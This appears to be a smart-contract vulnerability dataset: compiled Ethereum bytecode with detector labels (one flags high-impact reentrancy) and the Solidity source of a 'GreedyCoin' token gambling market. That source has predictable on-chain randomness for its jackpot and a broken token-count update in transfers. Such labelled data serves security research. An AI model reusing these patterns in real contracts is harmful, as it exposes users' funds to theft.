} | 0x6080604052600436106101c55760003560e01c806374010ece116100f757806398a5c31511610095578063c3c8cd8011610064578063c3c8cd8014610539578063dd62ed3e1461054e578063ea1644d514610594578063f2fde38b146105b457600080fd5b806398a5c315146104a9578063a2a957bb146104c9578063a9059cbb146104e9578063bfd792841461050957600080fd5b80638da5cb5b116100d15780638da5cb5b146104275780638f70ccf7146104455780638f9a55c01461046557806395d89b411461047b57600080fd5b806374010ece146103c45780637d1db4a5146103e45780637f2feddc146103fa57600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461035a5780636fc3eaec1461037a57806370a082311461038f578063715018a6146103af57600080fd5b8063313ce567146102fe57806349bd5a5e1461031a5780636b9990531461033a57600080fd5b80631694505e116101a05780631694505e1461026a57806318160ddd146102a257806323b872dd146102c85780632fd689e3146102e857600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023a57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec3660046118f1565b6105d4565b005b3480156101ff57600080fd5b5060408051808201909152600c81526b42697264204275737465727360a01b60208201525b60405161023191906119b6565b60405180910390f35b34801561024657600080fd5b5061025a610255366004611a0b565b6106b1565b6040519015158152602001610231565b34801561027657600080fd5b5060145461028a906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b3480156102ae57600080fd5b5068056bc75e2d631000005b604051908152602001610231565b3480156102d457600080fd5b5061025a6102e3366004611a37565b6106c8565b3480156102f457600080fd5b506102ba60185481565b34801561030a57600080fd5b5060405160098152602001610231565b34801561032657600080fd5b5060155461028a906001600160a01b031681565b34801561034657600080fd5b506101f1610355366004611a78565b610731565b34801561036657600080fd5b506101f1610375366004611a95565b61077c565b34801561038657600080fd5b506101f16107c4565b34801561039b57600080fd5b506102ba6103aa366004611a78565b61080f565b3480156103bb57600080fd5b506101f1610831565b3480156103d057600080fd5b506101f16103df366004611ab7565b6108a5565b3480156103f057600080fd5b506102ba60165481565b34801561040657600080fd5b506102ba610415366004611a78565b60116020526000908152604090205481565b34801561043357600080fd5b506000546001600160a01b031661028a565b34801561045157600080fd5b506101f1610460366004611a95565b6108d4565b34801561047157600080fd5b506102ba60175481565b34801561048757600080fd5b5060408051808201909152600581526410909554d560da1b6020820152610224565b3480156104b557600080fd5b506101f16104c4366004611ab7565b61091c565b3480156104d557600080fd5b506101f16104e4366004611ad0565b61095f565b3480156104f557600080fd5b5061025a610504366004611a0b565b61099d565b34801561051557600080fd5b5061025a610524366004611a78565b60106020526000908152604090205460ff1681565b34801561054557600080fd5b506101f16109aa565b34801561055a57600080fd5b506102ba610569366004611b02565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105a057600080fd5b506101f16105af366004611ab7565b6109fe565b3480156105c057600080fd5b506101f16105cf366004611a78565b610a2d565b6000546001600160a01b031633146106075760405162461bcd60e51b81526004016105fe90611b3b565b60405180910390fd5b6012546001600160a01b0316336001600160a01b0316148061063c57506013546001600160a01b0316336001600160a01b0316145b61064557600080fd5b60005b81518110156106ad5760016010600084848151811061066957610669611b70565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a581611b9c565b915050610648565b5050565b60006106be338484610b17565b5060015b92915050565b60006106d5848484610c3b565b610727843361072285604051806060016040528060288152602001611cb6602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061117d565b610b17565b5060019392505050565b6000546001600160a01b0316331461075b5760405162461bcd60e51b81526004016105fe90611b3b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107a65760405162461bcd60e51b81526004016105fe90611b3b565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107f957506013546001600160a01b0316336001600160a01b0316145b61080257600080fd5b4761080c816111b7565b50565b6001600160a01b0381166000908152600260205260408120546106c2906111f1565b6000546001600160a01b0316331461085b5760405162461bcd60e51b81526004016105fe90611b3b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108cf5760405162461bcd60e51b81526004016105fe90611b3b565b601655565b6000546001600160a01b031633146108fe5760405162461bcd60e51b81526004016105fe90611b3b565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061095157506013546001600160a01b0316336001600160a01b0316145b61095a57600080fd5b601855565b6000546001600160a01b031633146109895760405162461bcd60e51b81526004016105fe90611b3b565b600893909355600a91909155600955600b55565b60006106be338484610c3b565b6012546001600160a01b0316336001600160a01b031614806109df57506013546001600160a01b0316336001600160a01b0316145b6109e857600080fd5b60006109f33061080f565b905061080c81611275565b6000546001600160a01b03163314610a285760405162461bcd60e51b81526004016105fe90611b3b565b601755565b6000546001600160a01b03163314610a575760405162461bcd60e51b81526004016105fe90611b3b565b6001600160a01b038116610abc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105fe565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105fe565b6001600160a01b038216610bda5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105fe565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c9f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105fe565b6001600160a01b038216610d015760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105fe565b60008111610d635760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105fe565b6000546001600160a01b03848116911614801590610d8f57506000546001600160a01b03838116911614155b1561107057601554600160a01b900460ff16610e28576000546001600160a01b03848116911614610e285760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105fe565b601654811115610e7a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105fe565b6001600160a01b03831660009081526010602052604090205460ff16158015610ebc57506001600160a01b03821660009081526010602052604090205460ff16155b610f145760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105fe565b6015546001600160a01b03838116911614610f995760175481610f368461080f565b610f409190611bb7565b10610f995760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105fe565b6000610fa43061080f565b601854601654919250821015908210610fbd5760165491505b808015610fd45750601554600160a81b900460ff16155b8015610fee57506015546001600160a01b03868116911614155b80156110035750601554600160b01b900460ff165b801561102857506001600160a01b03851660009081526005602052604090205460ff16155b801561104d57506001600160a01b03841660009081526005602052604090205460ff16155b1561106d5761105b82611275565b47801561106b5761106b476111b7565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110b257506001600160a01b03831660009081526005602052604090205460ff165b806110e457506015546001600160a01b038581169116148015906110e457506015546001600160a01b03848116911614155b156110f15750600061116b565b6015546001600160a01b03858116911614801561111c57506014546001600160a01b03848116911614155b1561112e57600854600c55600954600d555b6015546001600160a01b03848116911614801561115957506014546001600160a01b03858116911614155b1561116b57600a54600c55600b54600d555b611177848484846113fe565b50505050565b600081848411156111a15760405162461bcd60e51b81526004016105fe91906119b6565b5060006111ae8486611bcf565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106ad573d6000803e3d6000fd5b60006006548211156112585760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105fe565b600061126261142c565b905061126e838261144f565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112bd576112bd611b70565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561131157600080fd5b505afa158015611325573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113499190611be6565b8160018151811061135c5761135c611b70565b6001600160a01b0392831660209182029290920101526014546113829130911684610b17565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bb908590600090869030904290600401611c03565b600060405180830381600087803b1580156113d557600080fd5b505af11580156113e9573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061140b5761140b611491565b6114168484846114bf565b8061117757611177600e54600c55600f54600d55565b60008060006114396115b6565b9092509050611448828261144f565b9250505090565b600061126e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f8565b600c541580156114a15750600d54155b156114a857565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114d187611626565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115039087611683565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461153290866116c5565b6001600160a01b03891660009081526002602052604090205561155481611724565b61155e848361176e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115a391815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d631000006115d2828261144f565b8210156115ef5750506006549268056bc75e2d6310000092509050565b90939092509050565b600081836116195760405162461bcd60e51b81526004016105fe91906119b6565b5060006111ae8486611c74565b60008060008060008060008060006116438a600c54600d54611792565b925092509250600061165361142c565b905060008060006116668e8787876117e7565b919e509c509a509598509396509194505050505091939550919395565b600061126e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061117d565b6000806116d28385611bb7565b90508381101561126e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105fe565b600061172e61142c565b9050600061173c8383611837565b3060009081526002602052604090205490915061175990826116c5565b30600090815260026020526040902055505050565b60065461177b9083611683565b60065560075461178b90826116c5565b6007555050565b60008080806117ac60646117a68989611837565b9061144f565b905060006117bf60646117a68a89611837565b905060006117d7826117d18b86611683565b90611683565b9992985090965090945050505050565b60008080806117f68886611837565b905060006118048887611837565b905060006118128888611837565b90506000611824826117d18686611683565b939b939a50919850919650505050505050565b600082611846575060006106c2565b60006118528385611c96565b90508261185f8583611c74565b1461126e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105fe565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080c57600080fd5b80356118ec816118cc565b919050565b6000602080838503121561190457600080fd5b823567ffffffffffffffff8082111561191c57600080fd5b818501915085601f83011261193057600080fd5b813581811115611942576119426118b6565b8060051b604051601f19603f83011681018181108582111715611967576119676118b6565b60405291825284820192508381018501918883111561198557600080fd5b938501935b828510156119aa5761199b856118e1565b8452938501939285019261198a565b98975050505050505050565b600060208083528351808285015260005b818110156119e3578581018301518582016040015282016119c7565b818111156119f5576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a1e57600080fd5b8235611a29816118cc565b946020939093013593505050565b600080600060608486031215611a4c57600080fd5b8335611a57816118cc565b92506020840135611a67816118cc565b929592945050506040919091013590565b600060208284031215611a8a57600080fd5b813561126e816118cc565b600060208284031215611aa757600080fd5b8135801515811461126e57600080fd5b600060208284031215611ac957600080fd5b5035919050565b60008060008060808587031215611ae657600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611b1557600080fd5b8235611b20816118cc565b91506020830135611b30816118cc565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bb057611bb0611b86565b5060010190565b60008219821115611bca57611bca611b86565b500190565b600082821015611be157611be1611b86565b500390565b600060208284031215611bf857600080fd5b815161126e816118cc565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c535784516001600160a01b031683529383019391830191600101611c2e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c9157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611cb057611cb0611b86565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204e4dc217ffd66808f90a434e028a6714cac132b6092ee22f93c6ecb5c7ee2ccb64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,983 |
0x8a9771775ed9a5e3440f89ad790764c188e16191 | pragma solidity ^0.4.24;
interface ERC721 /* is ERC165 */ {
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
function approve(address _approved, uint256 _tokenId) external payable;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title SafeMath32
* @dev SafeMath library implemented for uint32
*/
library SafeMath32 {
function mul(uint32 a, uint32 b) internal pure returns (uint32) {
if (a == 0) {
return 0;
}
uint32 c = a * b;
assert(c / a == b);
return c;
}
function div(uint32 a, uint32 b) internal pure returns (uint32) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint32 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint32 a, uint32 b) internal pure returns (uint32) {
assert(b <= a);
return a - b;
}
function add(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title SafeMath16
* @dev SafeMath library implemented for uint16
*/
library SafeMath16 {
function mul(uint16 a, uint16 b) internal pure returns (uint16) {
if (a == 0) {
return 0;
}
uint16 c = a * b;
assert(c / a == b);
return c;
}
function div(uint16 a, uint16 b) internal pure returns (uint16) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint16 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint16 a, uint16 b) internal pure returns (uint16) {
assert(b <= a);
return a - b;
}
function add(uint16 a, uint16 b) internal pure returns (uint16) {
uint16 c = a + b;
assert(c >= a);
return c;
}
}
contract Owner {
address public owner;
/**
* @dev set the owner of contract
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev only the owner
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
/**
* @title GreedyCoin
*/
contract GreedyCoin is Owner,ERC721 {
using SafeMath for uint256;
// total supply
uint16 constant ISSUE_MAX = 2100;
// init price
uint256 constant START_PRICE = 0.1 ether;
// min price
uint256 constant PRICE_MIN = 0.000000000000000001 ether;
// max price
uint256 constant PRICE_LIMIT = 100000000 ether;
// percent of fee
uint256 constant PROCEDURE_FEE_PERCENT = 10;
// GreedyCoin token
struct TokenGDC{
bytes32 token_hash;
uint256 last_deal_time;
uint256 buying_price;
uint256 price;
}
/**
* @dev token structure
*/
TokenGDC[] stTokens;
/**
* @dev owner of tokens ( index => address )
*/
mapping (uint256 => address) stTokenIndexToOwner;
/**
* @dev GreedyCoin count of one address
*/
mapping (address => uint256) stOwnerTokenCount;
/**
* @dev set transfer token permission
*/
mapping (uint256 => address) stTokenApprovals;
/**
* @dev set approved address
*/
mapping (address => mapping (address => bool) ) stApprovalForAll;
/*
* @dev (ERC721)
*/
function balanceOf(address owner) external view returns (uint256 balance){
balance = stOwnerTokenCount[owner];
}
/**
* @dev query the owner of one GreedyCoin
*/
function ownerOf(uint256 token_id) external view returns (address owner){
owner = stTokenIndexToOwner[token_id];
}
/**
* @dev transfer from
*/
function transferFrom(address _from, address _to, uint256 _tokenId) external payable {
require(msg.sender == _from);
require(_to != address(0));
require(_tokenId >= 0 && _tokenId < ISSUE_MAX - 1);
_transfer(_from, _to, _tokenId);
}
/**
* @dev approve before transfer
*/
function approve(address to, uint256 token_id) external payable {
require(msg.sender == stTokenIndexToOwner[token_id]);
stTokenApprovals[token_id] = to;
emit Approval(msg.sender, to, token_id);
}
/**
* @dev get approve
*/
function getApproved(uint256 _tokenId) external view returns (address){
return stTokenApprovals[_tokenId];
}
/**
* @dev setApprovalForAll
*/
function setApprovalForAll(address _operator, bool _approved) external {
stApprovalForAll[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
/**
* @dev isApprovedForAll
*/
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
return stApprovalForAll[_owner][_operator] == true;
}
/**
* @dev _transfer
*/
function _transfer(address from, address to, uint256 token_id) private {
require(stTokenApprovals[token_id] == to || stApprovalForAll[from][to]);
stOwnerTokenCount[to] = stOwnerTokenCount[to].add(1);
stOwnerTokenCount[msg.sender] = stOwnerTokenCount[msg.sender].sub(1);
stTokenIndexToOwner[token_id] = to;
emit Transfer(from, to, token_id);
}
/**
* @dev query detail of one GreedyCoin
*/
function queryToken(uint256 _tokenId) external view returns ( uint256 price, uint256 last_deal_time ) {
TokenGDC memory token = stTokens[_tokenId];
price = token.price;
last_deal_time = token.last_deal_time;
}
/**
* @dev get all GreedyCoins of msg.sender
*/
function getMyTokens() external view returns ( uint256[] arr_token_id, uint256[] arr_last_deal_time, uint256[] buying_price_arr, uint256[] price_arr ){
TokenGDC memory token;
uint256 count = stOwnerTokenCount[msg.sender];
arr_last_deal_time = new uint256[](count);
buying_price_arr = new uint256[](count);
price_arr = new uint256[](count);
arr_token_id = new uint256[](count);
uint256 index = 0;
for ( uint i = 0; i < stTokens.length; i++ ){
if ( stTokenIndexToOwner[i] == msg.sender ) {
token = stTokens[i];
arr_last_deal_time[index] = token.last_deal_time;
buying_price_arr[index] = token.buying_price;
price_arr[index] = token.price;
arr_token_id[index] = i;
index = index + 1;
}
}
}
}
contract Market is GreedyCoin {
using SafeMath for uint256;
event Bought (address indexed purchaser,uint256 indexed token_price, uint256 indexed next_price);
event HitFunds (address indexed purchaser,uint256 indexed funds, uint256 indexed hit_time);
event Recommended (address indexed recommender, uint256 indexed agency_fee);
// buy (only accept normal address)
function buy(uint256 next_price, bool is_recommend, uint256 recommend_token_id) external payable mustCommonAddress {
require (next_price >= PRICE_MIN && next_price <= PRICE_LIMIT);
_checkRecommend(is_recommend,recommend_token_id);
if (stTokens.length < ISSUE_MAX ){
_buyAndCreateToken(next_price,is_recommend,recommend_token_id);
} else {
_buyFromMarket(next_price,is_recommend,recommend_token_id);
}
}
// query current blance of fees
function queryCurrentContractFunds() external view returns (uint256) {
return (address)(this).balance;
}
// query the lowest price
function queryCurrentTradablePrice() external view returns (uint256 token_id,uint256 price) {
if (stTokens.length < ISSUE_MAX){
token_id = stTokens.length;
price = START_PRICE;
} else {
token_id = _getCurrentTradableToken();
price = stTokens[token_id].price;
}
}
// get the cheapest GreedyCoin
function _getCurrentTradableToken() private view returns(uint256 token_id) {
uint256 token_count = stTokens.length;
uint256 min_price = stTokens[0].price;
token_id = 0;
for ( uint i = 0; i < token_count; i++ ){
// token = stTokens[i];
uint256 price = stTokens[i].price;
if (price < min_price) {
// token = stTokens[i];
min_price = price;
token_id = i;
}
}
}
// create GreedyCoin
function _buyAndCreateToken(uint256 next_price, bool is_recommend, uint256 recommend_token_id ) private {
require( msg.value >= START_PRICE );
// create
uint256 now_time = now;
uint256 token_id = stTokens.length;
TokenGDC memory token;
token = TokenGDC({
token_hash: keccak256(abi.encodePacked((address)(this), token_id)),
last_deal_time: now_time,
buying_price: START_PRICE,
price: next_price
});
stTokens.push(token);
stTokenIndexToOwner[token_id] = msg.sender;
stOwnerTokenCount[msg.sender] = stOwnerTokenCount[msg.sender].add(1);
// 10% fee
uint256 current_fund = START_PRICE.div(100 / PROCEDURE_FEE_PERCENT);
// hash of GreedyCoin
bytes32 current_token_hash = token.token_hash;
owner.transfer( START_PRICE - current_fund );
// if get all fees
_gambling(current_fund, current_token_hash, now_time);
// recommendation
_awardForRecommender(is_recommend, recommend_token_id, current_fund);
_refund(msg.value - START_PRICE);
// emit event
emit Bought(msg.sender, START_PRICE, next_price);
}
// buy GreedyCoin from each other,after all GreedyCoins has been created
function _buyFromMarket(uint256 next_price, bool is_recommend, uint256 recommend_token_id ) private {
uint256 current_tradable_token_id = _getCurrentTradableToken();
TokenGDC storage token = stTokens[current_tradable_token_id];
uint256 current_token_price = token.price;
bytes32 current_token_hash = token.token_hash;
uint256 last_deal_time = token.last_deal_time;
require( msg.value >= current_token_price );
uint256 refund_amount = msg.value - current_token_price;
token.price = next_price;
token.buying_price = current_token_price;
token.last_deal_time = now;
address origin_owner = stTokenIndexToOwner[current_tradable_token_id];
stOwnerTokenCount[origin_owner] = stOwnerTokenCount[origin_owner].sub(1);
stOwnerTokenCount[msg.sender] = stOwnerTokenCount[msg.sender].add(1);
stTokenIndexToOwner[current_tradable_token_id] = msg.sender;
uint256 current_fund = current_token_price.div(100 / PROCEDURE_FEE_PERCENT);
origin_owner.transfer( current_token_price - current_fund );
_gambling(current_fund, current_token_hash, last_deal_time);
_awardForRecommender(is_recommend, recommend_token_id, current_fund);
_refund(refund_amount);
emit Bought(msg.sender, current_token_price, next_price);
}
function _awardForRecommender(bool is_recommend, uint256 recommend_token_id, uint256 current_fund) private {
if ( is_recommend && stTokens.length >= recommend_token_id) {
address recommender = stTokenIndexToOwner[recommend_token_id];
// 50% of fee
uint256 agency_fee = current_fund.div(2);
recommender.transfer(agency_fee);
emit Recommended(recommender,agency_fee);
}
}
function _refund(uint256 refund_amount) private {
if ( refund_amount > 0 ) {
msg.sender.transfer(refund_amount);
}
}
// 10% change of getting all blance of fees
function _gambling(uint256 current_fund, bytes32 current_token_hash, uint256 last_deal_time) private {
// random 0 - 99
uint256 random_number = _createRandomNumber(current_token_hash,last_deal_time);
if ( random_number < 10 ) {
// contract address
address contract_address = (address)(this);
uint256 hit_funds = contract_address.balance.sub(current_fund);
msg.sender.transfer(hit_funds);
emit HitFunds(msg.sender, hit_funds, now);
}
}
function _createRandomNumber(bytes32 current_token_hash, uint256 last_deal_time) private pure returns (uint256) {
return (uint256)(keccak256(abi.encodePacked(current_token_hash, last_deal_time))) % 100;
}
function _checkRecommend(bool is_recommend, uint256 recommend_token_id) private view {
if ( is_recommend ) {
if ( stTokens.length > 0 ) {
require(recommend_token_id >= 0 && recommend_token_id < stTokens.length);
}
}
}
modifier aboveMinNextPrice(uint next_price) {
require (next_price >= PRICE_MIN && next_price <= PRICE_LIMIT);
_;
}
// must be a normal address
modifier mustCommonAddress() {
require (_isContract(msg.sender) == false);
_;
}
// check if it is the address of contract
function _isContract(address addr) private view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
} | 0x6080604052600436106100c45763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663081812fc81146100c9578063095ea7b3146100fd57806323b872dd146101165780632554a35814610133578063438af924146101615780635b3b136a146101745780636352211e146102ac57806363dc5400146102c457806365f63c1b146102eb57806370a08231146103035780638da5cb5b14610324578063a22cb46514610339578063e985e9c51461035f575b600080fd5b3480156100d557600080fd5b506100e160043561039a565b60408051600160a060020a039092168252519081900360200190f35b610114600160a060020a03600435166024356103b5565b005b610114600160a060020a036004358116906024351660443561043e565b34801561013f57600080fd5b50610148610495565b6040805192835260208301919091528051918290030190f35b61011460043560243515156044356104eb565b34801561018057600080fd5b50610189610556565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156101d55781810151838201526020016101bd565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102145781810151838201526020016101fc565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561025357818101518382015260200161023b565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561029257818101518382015260200161027a565b505050509050019850505050505050505060405180910390f35b3480156102b857600080fd5b506100e1600435610735565b3480156102d057600080fd5b506102d9610750565b60408051918252519081900360200190f35b3480156102f757600080fd5b50610148600435610755565b34801561030f57600080fd5b506102d9600160a060020a03600435166107bc565b34801561033057600080fd5b506100e16107d7565b34801561034557600080fd5b50610114600160a060020a036004351660243515156107e6565b34801561036b57600080fd5b50610386600160a060020a0360043581169060243516610854565b604080519115158252519081900360200190f35b600090815260046020526040902054600160a060020a031690565b600081815260026020526040902054600160a060020a031633146103d857600080fd5b600081815260046020526040808220805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0386169081179091559051839233917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259190a45050565b33600160a060020a0384161461045357600080fd5b600160a060020a038216151561046857600080fd5b6000811015801561047a575061083381105b151561048557600080fd5b610490838383610888565b505050565b600154600090819061083411156104b957505060015467016345785d8a00006104e7565b6104c16109b8565b91506001828154811015156104d257fe5b90600052602060002090600402016003015490505b9091565b6104f433610a37565b156104fe57600080fd5b6001831015801561051a57506a52b7d2dcc80cd2e40000008311155b151561052557600080fd5b61052f8282610a3f565b600154610834111561054b57610546838383610a71565b610490565b610490838383610d23565b606080606080610564611148565b3360009081526003602090815260408083205481518181528184028101909301909152919081908380156105a2578160200160208202803883390190505b509650826040519080825280602002602001820160405280156105cf578160200160208202803883390190505b509550826040519080825280602002602001820160405280156105fc578160200160208202803883390190505b50945082604051908082528060200260200182016040528015610629578160200160208202803883390190505b50975060009150600090505b60015481101561072b57600081815260026020526040902054600160a060020a031633141561072357600180548290811061066c57fe5b600091825260209182902060408051608081018252600490930290910180548352600181015493830184905260028101549183019190915260030154606082015288519095508890849081106106be57fe5b60209081029091010152604084015186518790849081106106db57fe5b60209081029091010152606084015185518690849081106106f857fe5b602090810290910101528751819089908490811061071257fe5b602090810290910101526001909101905b600101610635565b5050505090919293565b600090815260026020526040902054600160a060020a031690565b303190565b600080610760611148565b600180548590811061076e57fe5b60009182526020918290206040805160808101825260049093029091018054835260018101549383018490526002810154918301919091526003015460609091018190529590945092505050565b600160a060020a031660009081526003602052604090205490565b600054600160a060020a031681565b336000818152600560209081526040808320600160a060020a03871680855290835292819020805460ff1916861515908117909155815190815290519293927f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31929181900390910190a35050565b600160a060020a0380831660009081526005602090815260408083209385168352929052205460ff16151560011492915050565b600081815260046020526040902054600160a060020a03838116911614806108d55750600160a060020a0380841660009081526005602090815260408083209386168352929052205460ff165b15156108e057600080fd5b600160a060020a03821660009081526003602052604090205461090a90600163ffffffff610ee716565b600160a060020a03831660009081526003602052604080822092909255338152205461093d90600163ffffffff610efd16565b3360009081526003602090815260408083209390935583825260029052818120805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038681169182179092559251849392918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b60018054600091829081908190818581106109cf57fe5b906000526020600020906004020160030154925060009450600091505b83821015610a30576001805483908110610a0257fe5b906000526020600020906004020160030154905082811015610a25578092508194505b6001909101906109ec565b5050505090565b6000903b1190565b8115610a6d5760015460001015610a6d5760008110158015610a62575060015481105b1515610a6d57600080fd5b5050565b600080610a7c611148565b60008067016345785d8a0000341015610a9457600080fd5b600154604080516080810182526c01000000000000000000000000300260a082015260b48082018490528251808303909101815260d482019283905280514299509397509092839290819060208401908083835b60208310610b075780518252601f199092019160209182019101610ae8565b51815160209384036101000a6000190180199092169116179052604080519290940182900390912086528581018c905267016345785d8a00008684015260609586018f9052600180548082018255600082815289517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6600490930292830155898401517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf7830155898601517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf8830155978901517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf9909101558b87526002825283872080543373ffffffffffffffffffffffffffffffffffffffff199091168117909155875260039091529190942054949750610c47949350915050610ee7565b33600090815260036020526040902